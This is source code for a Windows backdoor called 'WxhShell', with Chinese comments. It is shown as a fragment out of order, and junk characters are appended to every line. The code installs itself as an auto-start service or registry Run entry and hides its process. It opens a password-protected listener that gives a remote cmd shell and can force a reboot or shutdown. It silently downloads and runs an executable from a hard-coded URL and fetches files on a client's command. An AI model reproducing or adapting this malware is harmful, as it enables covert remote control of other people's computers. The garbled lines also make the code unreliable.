    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^ tm,gh  
    if(Boot(SHUTDOWN)) lTdYPqMi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mi 'eViH  
    else { e[n T'e  
    closesocket(wsh); z/rN+ ,  
    ExitThread(0); bU:"dqRm<  
    } :d!.E$S  
    break; Khw!+!(H  
    } Ctt{j'-[  
  // 获取shell M6|Q~8$  
  case 's': { g >-iBxml  
    CmdShell(wsh); .f&,~$e4  
    closesocket(wsh);  NP^kbF  
    ExitThread(0); C `knFGb  
    break; X'[S Cs  
  } l=EIbh  
  // 退出 '1r:z, o|  
  case 'x': { S)$ES6]9/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tp*AA@~  
    CloseIt(wsh); h+ELtf  
    break; iAWPE`u4  
    } jB?Tua$,s  
  // 离开 8u;l<^<  
  case 'q': { "W:'cIw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {My/+{eS!?  
    closesocket(wsh); 6eK18*j%H  
    WSACleanup(); Yw+_( 2 9=  
    exit(1); 0-4WLMx  
    break; UO<%|{ W+  
        } d%4!d_I<  
  } ,1F3";`n[  
  } )BS./zD*[<  
m[ txKj.=_  
  // 提示信息 uj;-HN)6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~c3!,C  
} {b+!0[  
  } |{Z?a^- NJ  
yHk/8  
  return; |'mgo  
} 01#a  
ep,kImT  
// shell模块句柄 oe4Fy}Y_;  
int CmdShell(SOCKET sock) B7T(9Tj+Fh  
{ Eh0R0;l5>  
STARTUPINFO si; i+T$&$b  
ZeroMemory(&si,sizeof(si)); S1;#5 8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OZLU>LU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 Co_,"  
PROCESS_INFORMATION ProcessInfo; ~n|*-rca  
char cmdline[]="cmd"; eA#J7=eC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $0sU h]7y  
  return 0; HRje4=:  
} 0D:J d6\  
:%)l* [  
// 自身启动模式 =R?NOWrDY  
int StartFromService(void) Y-@K@Zu]?  
{ "DfvoQP  
typedef struct tX&Dum$  
{ xAQ=oF +  
  DWORD ExitStatus; vXRfsv y  
  DWORD PebBaseAddress; do7 [Nj  
  DWORD AffinityMask; :kfl q  
  DWORD BasePriority; {Qg"1+hhM  
  ULONG UniqueProcessId; "M6:)h9jV  
  ULONG InheritedFromUniqueProcessId; Yep(,J~'  
}   PROCESS_BASIC_INFORMATION; wp-*S}TT  
z';p275  
PROCNTQSIP NtQueryInformationProcess; QpAK]  
4U~[ 8U}g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mn?< Zz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J/M1#sE  
@q],pD  
  HANDLE             hProcess; dBX%/  
  PROCESS_BASIC_INFORMATION pbi; NHPpHY3^.  
`8KWZi4 ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iAbtv^fn  
  if(NULL == hInst ) return 0; ZVR0Kzu?Ra  
D#1'#di*t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  o-_0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Z3B#,V(g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7?qRY9Qu  
| ?~-k[|  
  if (!NtQueryInformationProcess) return 0; / \!hW-+]W  
3 =KfNz_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }.$oZo9J  
  if(!hProcess) return 0; wH3FCfvm  
RN]4Is:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,/C<GFae  
IE+$ET> t  
  CloseHandle(hProcess); .&T JSIx$  
ABSA le  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2N9 BI-a  
if(hProcess==NULL) return 0; Gyw@+(l  
w t? 8-_  
HMODULE hMod; N9r02c  
char procName[255]; CY? ]o4IV  
unsigned long cbNeeded; 8tK8|t5+  
PBTGN;y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nG1 mx/w  
\RnGKQ"4  
  CloseHandle(hProcess); Bi ]`e_(}  
"O<JVC{m  
if(strstr(procName,"services")) return 1; // 以服务启动 J@=1zL  
sT?Qlj'Zd  
  return 0; // 注册表启动 ]m{;yOQdsC  
} TSt-#c4B  
#U{^L{1Gx  
// 主模块 -P]J:7*0?\  
int StartWxhshell(LPSTR lpCmdLine) E tWpBg  
{ E%:!* 9  
  SOCKET wsl; R)?K+cJ%  
BOOL val=TRUE; `Yn^ -W  
  int port=0; p^Kp= z  
  struct sockaddr_in door; ) **k3u t4  
+M/04  
  if(wscfg.ws_autoins) Install(); ]0GOSh  
f\!*%xS;  
port=atoi(lpCmdLine); E<1^i;F  
J/pW*G-U|  
if(port<=0) port=wscfg.ws_port; :@I?JSi  
R4"["T+L`  
  WSADATA data; 4d)w2t?H%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sd2R $r  
a.v$+}+.[,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9t(B{S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oj:O-PtN2  
  door.sin_family = AF_INET; 6d&BN7B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N{IY \/;\  
  door.sin_port = htons(port); $NJ]2P9L  
Ash"D~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g+hz>^Wg  
closesocket(wsl); c2Ua!p(c  
return 1; 8c\mm 0n  
} R|% 3JE0  
$g$~TuA w  
  if(listen(wsl,2) == INVALID_SOCKET) { E1_FK1*V;  
closesocket(wsl); *,-)4)7d  
return 1; (pm]U7  
} 8RbtI4  
  Wxhshell(wsl); !s/ij' T  
  WSACleanup(); j0L9Q|s  
.J#xlOa-  
return 0; j_-$xz5-  
Ih!UL:Ckh  
} CsS0(n(x  
',n;ag`c  
// 以NT服务方式启动 eC%.xu^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -iGt]mbJkP  
{ EJO:3aKa  
DWORD   status = 0; G'q7@d {'  
  DWORD   specificError = 0xfffffff; ?d%+85  
cpz}!D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;XSRG*3j~4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "?Wwc d\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8X][TJG$  
  serviceStatus.dwWin32ExitCode     = 0; e2*0NT^R  
  serviceStatus.dwServiceSpecificExitCode = 0; P.$U6cq  
  serviceStatus.dwCheckPoint       = 0; zNuiB LxDs  
  serviceStatus.dwWaitHint       = 0; Y=sRVypJ  
 HUr;ysw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b[$%Wg  
  if (hServiceStatusHandle==0) return; FjRJSMwO,  
8Y3c,p/gS>  
status = GetLastError(); [4]lAxrRF  
  if (status!=NO_ERROR) )TJz'J\*  
{ ]|<PV5SY3.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .+]e9mV  
    serviceStatus.dwCheckPoint       = 0; s@OCj0'l  
    serviceStatus.dwWaitHint       = 0; qEX2K^y'4"  
    serviceStatus.dwWin32ExitCode     = status; GeWB"(t  
    serviceStatus.dwServiceSpecificExitCode = specificError; >~_y\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); quN7'5ZC[  
    return; N{46DS  
  } ,RKBGOz?f  
\ v44Vmfz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \O/" F;  
  serviceStatus.dwCheckPoint       = 0; kV!0cLH!hH  
  serviceStatus.dwWaitHint       = 0; B]ul~FX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7f8%WD)  
} k:4 Z c3  
MB" uJUk  
// 处理NT服务事件,比如:启动、停止 V^QKn+/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J5)e 7  
{ 10_eUQN  
switch(fdwControl) 25BW/23}e  
{ i:Pg&474f  
case SERVICE_CONTROL_STOP: D-9zg\\'`  
  serviceStatus.dwWin32ExitCode = 0; U8]L3&~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vP^]Y.6  
  serviceStatus.dwCheckPoint   = 0; Zq~2BeB  
  serviceStatus.dwWaitHint     = 0; 2!\y0*}K  
  { }X$vriW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fO[X<|9  
  } hhlQ!WV2  
  return; q -M&f@Il  
case SERVICE_CONTROL_PAUSE: @^a6^*X>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (9*s:)zD-  
  break; jFM8dl n  
case SERVICE_CONTROL_CONTINUE: nQdNXv<(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4A^hP![c#]  
  break; bxyEn'vNvQ  
case SERVICE_CONTROL_INTERROGATE: 4q/E7n  
  break; >hoIJZP,  
}; fKOm\R47  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~UCWK  
} -}%'I ]R=  
-b~MQ/, 2  
// 标准应用程序主函数 aO.'(kk8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u><ax  
{ J_}&Btb)e  
'G>Ejh@t  
// 获取操作系统版本 <89@k(\ /  
OsIsNt=GetOsVer(); 1)/B V{n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K~<pD:s  
Qc;`n ck  
  // 从命令行安装 kF3 EJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); vVc:[i  
:{h,0w'd  
  // 下载执行文件 <Xm5re.  
if(wscfg.ws_downexe) { l~Kn-S{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4U<'3~RN  
  WinExec(wscfg.ws_filenam,SW_HIDE); :>nk63V (  
} S+ymdZ)xZ`  
"M v%M2'c  
if(!OsIsNt) { vNL f)B  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,a?)#X  
HideProc(); |.=Ee+HZ  
StartWxhshell(lpCmdLine); DX}EOxO,.  
} ABNsi$]r0  
else [T"oqO4%]  
  if(StartFromService()) po*s  
  // 以服务方式启动 L'6_~I  
  StartServiceCtrlDispatcher(DispatchTable); mvVVPf9  
else ^c< <I-o|  
  // 普通方式启动 u9:;ft{}N  
  StartWxhshell(lpCmdLine); Il2DZ5- )  
fbB(W E+  
return 0; uQ&&? j  
} fdho`juFa  
&|%z!x6f  
-2v|d]3qG  
ijr*_=  
=========================================== $LAaG65V  
?@|1>epgd  
Mki(,Y|1~  
J4j?rLR3p  
p!' "hx  
miuJ!Kr'  
" V?Lf& X?  
2-o,4EfHVO  
#include <stdio.h> P{(m:`N  
#include <string.h> \b.2f+;3  
#include <windows.h> aP8Im1<A  
#include <winsock2.h> -ud~'<k  
#include <winsvc.h> PHfGl  
#include <urlmon.h> hrZ~7 0r  
'0H +2  
#pragma comment (lib, "Ws2_32.lib") >gFF>L>  
#pragma comment (lib, "urlmon.lib") &BG^:4b  
j0 =`Jf  
#define MAX_USER   100 // 最大客户端连接数 +SPC@E_v  
#define BUF_SOCK   200 // sock buffer zq4,%$y8|  
#define KEY_BUFF   255 // 输入 buffer 7Yk6C5C  
&lBfW$PZjk  
#define REBOOT     0   // 重启 bT[Q:#GL  
#define SHUTDOWN   1   // 关机 J9/9k  
]_d(YHYf  
#define DEF_PORT   5000 // 监听端口 zZDG5_$n  
5y=X?hF~)  
#define REG_LEN     16   // 注册表键长度 TUy*wp9  
#define SVC_LEN     80   // NT服务名长度 lxbbyy25  
\5s!lv*&  
// 从dll定义API F__DPEAc_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l:+tl/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FX}<F0([?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8x58sOR=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &9o @x]) @  
umrRlF4M;  
// wxhshell配置信息 wjS3ItB  
struct WSCFG { KT?vs5jg$&  
  int ws_port;         // 监听端口 (4M#(I~cE  
  char ws_passstr[REG_LEN]; // 口令 eqeVz`  
  int ws_autoins;       // 安装标记, 1=yes 0=no >%#J8  
  char ws_regname[REG_LEN]; // 注册表键名 LE1&atq  
  char ws_svcname[REG_LEN]; // 服务名 z+wV(i97  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0R_ZP12  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HP]Xh~aP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,:>>04O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gjo\g P@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5U1@wfKE3>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YI%7#L7C  
JFYeOmR+l  
}; ~p'/Z@Atu  
$|(roC(  
// default Wxhshell configuration . s? ''/(  
struct WSCFG wscfg={DEF_PORT, =b`>ggw#  
    "xuhuanlingzhe", /DbwqBx  
    1, >kC@7h5)  
    "Wxhshell", CXUNdB  
    "Wxhshell", K<|b>PI.s  
            "WxhShell Service", mXhr: e  
    "Wrsky Windows CmdShell Service", zc/S  
    "Please Input Your Password: ", ^4s#nf:}  
  1, v]VIUVd  
  "http://www.wrsky.com/wxhshell.exe", }E?s*iP  
  "Wxhshell.exe" Yn J=&21  
    }; BAm{Gb  
L?al2aopF  
// 消息定义模块 'J!P:.=a>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %#7M~RB[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )j6S<mn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _9L2JN$R6  
char *msg_ws_ext="\n\rExit."; 5n(p 1OM2q  
char *msg_ws_end="\n\rQuit."; CZ]+B8Pl(x  
char *msg_ws_boot="\n\rReboot..."; 7F+f6(hB  
char *msg_ws_poff="\n\rShutdown..."; {tWfLfzU  
char *msg_ws_down="\n\rSave to "; w'L;`k;Q  
)K5~r>n&  
char *msg_ws_err="\n\rErr!"; *l7 ojv  
char *msg_ws_ok="\n\rOK!"; _ e`b^_  
_^SNI~  
char ExeFile[MAX_PATH]; 6GJ?rE E/  
int nUser = 0; =FwFqjvl  
HANDLE handles[MAX_USER]; }O o  
int OsIsNt; hfEGkaV._3  
|$1j;#h  
SERVICE_STATUS       serviceStatus; , / 4}CM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'BUdySng  
\;P Bx &  
// 函数声明 apw8wL2  
int Install(void); pdtK3Pf  
int Uninstall(void); WBC'~h<@  
int DownloadFile(char *sURL, SOCKET wsh); B623B HwS  
int Boot(int flag);  61gZZM  
void HideProc(void); _k ~bH\(  
int GetOsVer(void); >aa-ix &  
int Wxhshell(SOCKET wsl); Q^mJ_~  
void TalkWithClient(void *cs); [0J0<JnK  
int CmdShell(SOCKET sock); ~hM4({/QN  
int StartFromService(void); VK$+Nm)  
int StartWxhshell(LPSTR lpCmdLine); qPzgGbmD9  
9KAXc(-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bZtjg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7&T1RB'>  
:k(aH Ua  
// 数据结构和表定义 lHP[WO  
SERVICE_TABLE_ENTRY DispatchTable[] = t%8*$"~X  
{ lW>bX C  
{wscfg.ws_svcname, NTServiceMain}, o ue;$8  
{NULL, NULL} 0eUsvzz 15  
}; ;PLby]=O  
IClnh1=  
// 自我安装 D$ `yxc  
int Install(void) a&y%|Gs^f  
{ F'`L~!F  
  char svExeFile[MAX_PATH]; ZEApE+m  
  HKEY key; S{ *RF)  
  strcpy(svExeFile,ExeFile); l&T;G 9z  
8G{} r  
// 如果是win9x系统,修改注册表设为自启动 @-u/('vpB  
if(!OsIsNt) { L {\B9b2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [m('Y0fwO^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X0 %k`3  
  RegCloseKey(key); 'z+8;g.ekO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DmD*,[rD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Cf_RFH0  
  RegCloseKey(key); ^iTjr$hQ;  
  return 0; r0S"}<8O  
    } &WsDYov?  
  } A u(Ngq  
} .\1XR  
else { ^*Rrx  
Zx`hutCv  
// 如果是NT以上系统,安装为系统服务 ZM4q@O)/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [nflQW6  
if (schSCManager!=0) w"A'uFXLc  
{ k*lrE4::a  
  SC_HANDLE schService = CreateService O%feBe  
  ( ^P)W/2  
  schSCManager, x+1Cs$E;  
  wscfg.ws_svcname, TV^m1uC  
  wscfg.ws_svcdisp, 0[ (Z48  
  SERVICE_ALL_ACCESS, bU3e*Er  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g>g]qQ  
  SERVICE_AUTO_START, Y`secUg  
  SERVICE_ERROR_NORMAL, Z %?: CA  
  svExeFile, 99xs5!4s  
  NULL, ?<_yW#x6  
  NULL, f8Z[prfP  
  NULL, <m") 2dJ  
  NULL, bLSZZfq  
  NULL oRJ!J-Z]  
  ); ~3 ,>TV  
  if (schService!=0) H83Gx;  
  { '*`25BiQ  
  CloseServiceHandle(schService); "t[9EbFL  
  CloseServiceHandle(schSCManager); u1@&o9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /&PRw<}>_o  
  strcat(svExeFile,wscfg.ws_svcname); n+ot. -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Z ), OW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n2e#rn  
  RegCloseKey(key); C2$_Ad=s  
  return 0; U^AywE]  
    } zk#NM"C+  
  } "'# 18&N  
  CloseServiceHandle(schSCManager); D's Tv}P  
} 6bv~E.  
} QL_vWG -  
{=Z xF  
return 1; _zuaImJ0o  
} H8$l }pOz  
)qyJw N .D  
// 自我卸载 U%<E9G594  
int Uninstall(void) 4Z'/dI`  
{ J(0E'o{ug  
  HKEY key; 2 %`~DVo  
T/m4jf2  
if(!OsIsNt) { eootH K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H K]-QTEn  
  RegDeleteValue(key,wscfg.ws_regname); CtEpS<*c  
  RegCloseKey(key); bSG}I|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +-s$Htx  
  RegDeleteValue(key,wscfg.ws_regname); .dbZ;`s  
  RegCloseKey(key); lKtA.{(  
  return 0; <%_7%  
  } ][gr(-68  
} zCpsGr  
} s *8)|N  
else { ||xiKg  
9A7LDHst7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Za"m;+H<E  
if (schSCManager!=0) vZ&{   
{ *VP-fyJp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >EacXPt-O  
  if (schService!=0) RWX?B  
  { xE.yh#?.k  
  if(DeleteService(schService)!=0) { B4l*]K%  
  CloseServiceHandle(schService); -2D/RE7|  
  CloseServiceHandle(schSCManager); z(o zMH  
  return 0; Rhfx  
  } z_;:6*l=:  
  CloseServiceHandle(schService); e$vvmbK.  
  } y TbOBl  
  CloseServiceHandle(schSCManager); NZ|(#` X  
} M/d6I$~7z  
} \f!j9O9S  
nq/SGo[c  
return 1; Xur{nk~?  
} iNlY\67sW  
spX*e1  
// 从指定url下载文件 k <EzYh  
int DownloadFile(char *sURL, SOCKET wsh) g,k} nkIT  
{ VR'R7  
  HRESULT hr; g"KH~bN  
char seps[]= "/"; +o ;}*  
char *token; yPn!1=-(  
char *file; U8>M`e"D  
char myURL[MAX_PATH]; ?q*,,+'0  
char myFILE[MAX_PATH]; G`D~OI  
)j_Y9`R  
strcpy(myURL,sURL); D#.N)@\  
  token=strtok(myURL,seps); 4#MPD  
  while(token!=NULL) }hm "49,O  
  { \]Nt-3|`0  
    file=token; K/;*.u`:  
  token=strtok(NULL,seps); [( O*W  
  } ;^"#3_7T]  
Vm"{m/K0  
GetCurrentDirectory(MAX_PATH,myFILE); .='hYe.  
strcat(myFILE, "\\"); ,B'n0AO/'  
strcat(myFILE, file); ~d9@m#_T#~  
  send(wsh,myFILE,strlen(myFILE),0); LQo>wl  
send(wsh,"...",3,0); [_X.Equ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -50 Nd=1  
  if(hr==S_OK) p]]*H2UD  
return 0; !vY5X2?tr,  
else Z'<I Is:J  
return 1; jE#&u DfI  
E*W|>2nx]  
} 8q"C=t7  
-#y^$$i0  
// 系统电源模块 c]x'}K c  
int Boot(int flag) Kqn{q4L  
{ +\ZaVi  
  HANDLE hToken; M3EB=tU  
  TOKEN_PRIVILEGES tkp; ;,2;J3,pA  
k@Q>(`  
  if(OsIsNt) { A.|98*U%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2@jlF!zC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kw$*o k  
    tkp.PrivilegeCount = 1; a*N<gId  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c`M ,KXott  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? 3t]9z  
if(flag==REBOOT) { T!ik"YZ@i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |%tI!RN):  
  return 0; Be4n\c.  
} = a54  
else { LvcGh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) abczW[\  
  return 0; m`lxQik  
} RLE6=#4  
  } R]xXG0  
  else { IV]2#;OO?  
if(flag==REBOOT) { rv2 6vnJy"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dFw>SYrpu  
  return 0; 3x6@::s~  
} wF.S ,|  
else { [7+dZL[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pf?zszvs  
  return 0; iqAME%m  
} yu9 8d1  
} Y5XhV;16  
|\# 6?y[o  
return 1; qCUn. mI  
} wS%j!|xhlV  
s4kkzTnXE3  
// win9x进程隐藏模块 e< E]8GAF  
void HideProc(void) AfqthI$*m  
{ --'!5)U  
Uoqt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =L F9im  
  if ( hKernel != NULL ) IuOY.c2.u  
  { ecqL;_{o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /t;Kn m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3A)Ec/;~  
    FreeLibrary(hKernel); <`Q*I Y  
  } okSCM#&:[2  
Hp1n*0%dZ&  
return; 9?i~4&EY  
} \66j4?H#  
d2=Z=udd  
// 获取操作系统版本 SBog7An9SI  
int GetOsVer(void) o?]g  
{ !3J YG  
  OSVERSIONINFO winfo; ge@KopZ&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =3R5m>6!/  
  GetVersionEx(&winfo); !-<PV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ry[NR$L/m  
  return 1; X{-[ E^X  
  else r[votdFo  
  return 0; cpe/GvD5]  
} 0f]LOg  
k2t#O%_f  
// 客户端句柄模块 /4_^'RB  
int Wxhshell(SOCKET wsl) *5Aq\g,n  
{ /GDGE }  
  SOCKET wsh; ye^l~  
  struct sockaddr_in client; <RPy   
  DWORD myID; 6d%'>^`(o-  
GJB= 5nE  
  while(nUser<MAX_USER) pQ/ bIuq  
{ 0*umf .R  
  int nSize=sizeof(client); X GhV? tA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); & ~*qTojj  
  if(wsh==INVALID_SOCKET) return 1; " +n\0j;  
*LZ^0c:r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VfON{ 1g  
if(handles[nUser]==0) 'V-_3WWxU  
  closesocket(wsh); gyx4='Q  
else  d(>  
  nUser++; -0R;C`(!  
  } 'D1Sm&M2%e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IP e"9xb  
ocbNf'W;  
  return 0; %J%ZoptY:  
} WUesTA>  
++ZtL\h{7  
// 关闭 socket wEp*j+Mmce  
void CloseIt(SOCKET wsh) `*to( )  
{ (bBr O74lR  
closesocket(wsh); cy+EJq I  
nUser--; "2FI3M =  
ExitThread(0); Y\pRk6,  
} !?%'Fy6t  
0*-nVC1  
// 客户端请求句柄 |fTWf}Jx  
void TalkWithClient(void *cs) SF#Rc>v  
{ >QJfTkD$  
zEu15!~   
  SOCKET wsh=(SOCKET)cs; Js( "H  
  char pwd[SVC_LEN]; 057$b!A-a  
  char cmd[KEY_BUFF]; F A#?+kd  
char chr[1]; { 95u^S=  
int i,j; f}_d`?K  
W<"{d  
  while (nUser < MAX_USER) { 'dFhZ08 u}  
m?$peRn3{  
if(wscfg.ws_passstr) { 5PXo1"n8T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IC:wof "  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LtDQgel"  
  //ZeroMemory(pwd,KEY_BUFF); *[MK{m  
      i=0; OYC\+ =  
  while(i<SVC_LEN) { @uaf&my,P  
kk*:S*,  
  // 设置超时 b5v6Y:f&fK  
  fd_set FdRead; ZKT~\l  
  struct timeval TimeOut; ^twJNm{99  
  FD_ZERO(&FdRead);  iNxuQ7~  
  FD_SET(wsh,&FdRead); 'z}Hg *  
  TimeOut.tv_sec=8; /e0cx:.w  
  TimeOut.tv_usec=0; !Ui"<0[,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZO!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w`?Rd  
AvNU\$B4aG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h)746T )  
  pwd=chr[0]; xO<$xx  
  if(chr[0]==0xd || chr[0]==0xa) { 6uAo0+-k  
  pwd=0; 5cza0CriJ  
  break; S ;; Z  
  }  p@se 5~  
  i++; nHB=*Mj DV  
    } EC6Q<&]Iw  
lv* fK  
  // 如果是非法用户,关闭 socket %488"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ctzaqsr  
} .PhH|jrCW^  
1`X- O>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (^Q:zU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YsHZFF  
`S{Blv  
while(1) { W?B(Jsv  
S24wv2Uw i  
  ZeroMemory(cmd,KEY_BUFF); +&p}iZp  
vj23j[!|  
      // 自动支持客户端 telnet标准   h6Vm;{ ~  
  j=0; DG&[.dR+  
  while(j<KEY_BUFF) { ,VM)ZK=Tr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rkW2_UTZE  
  cmd[j]=chr[0]; q Pc"A!-i  
  if(chr[0]==0xa || chr[0]==0xd) { Ve1O<i  
  cmd[j]=0; a V4p0s6ZZ  
  break; [AZN a  
  } f#W5Nu'*!  
  j++; ~ }<!ON;  
    } A?q9(n|A"  
d/57;6I_  
  // 下载文件 P K]$D[a0  
  if(strstr(cmd,"http://")) { ( _{\tgSm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SgOn:xg;3L  
  if(DownloadFile(cmd,wsh)) V|h/a\P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZN:~etd  
  else ^:0e pj7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(^\0=u<  
  } Nz ,8NM]  
  else { u'?yc"d>#  
